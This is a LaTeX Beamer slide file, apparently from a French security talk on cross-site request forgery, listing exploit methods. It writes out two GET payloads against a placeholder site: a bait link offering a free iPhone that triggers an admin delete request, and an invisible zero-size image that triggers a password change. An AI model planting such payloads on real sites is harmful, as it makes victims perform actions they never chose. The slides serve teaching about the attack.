prez_csrf/tech.tex at master · HackInTN/prez_csrf · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
\section{Les méthodes d'exploit}

\frame{\tableofcontents[currentsection]}

\begin{frame}

\begin{block}{GET}

\begin{itemize}

\item Un simple lien: \\
<a href="\url{http://vulnerable.com?user=ADMIN&delete=1"}>\\
iPhone 6 gratos !</a>

\item Une image de taille nulle: \\
<img src="\url{http://vulnerable.com?user=ADMIN&passwd=1234"}\\
 width="0" height="0" border="0">

\end{itemize}

\end{block}

\end{frame}


\begin{frame}
\begin{block}{POST}
	\lstinputlisting[language=HTML]{post.html}
\end{block}
\end{frame}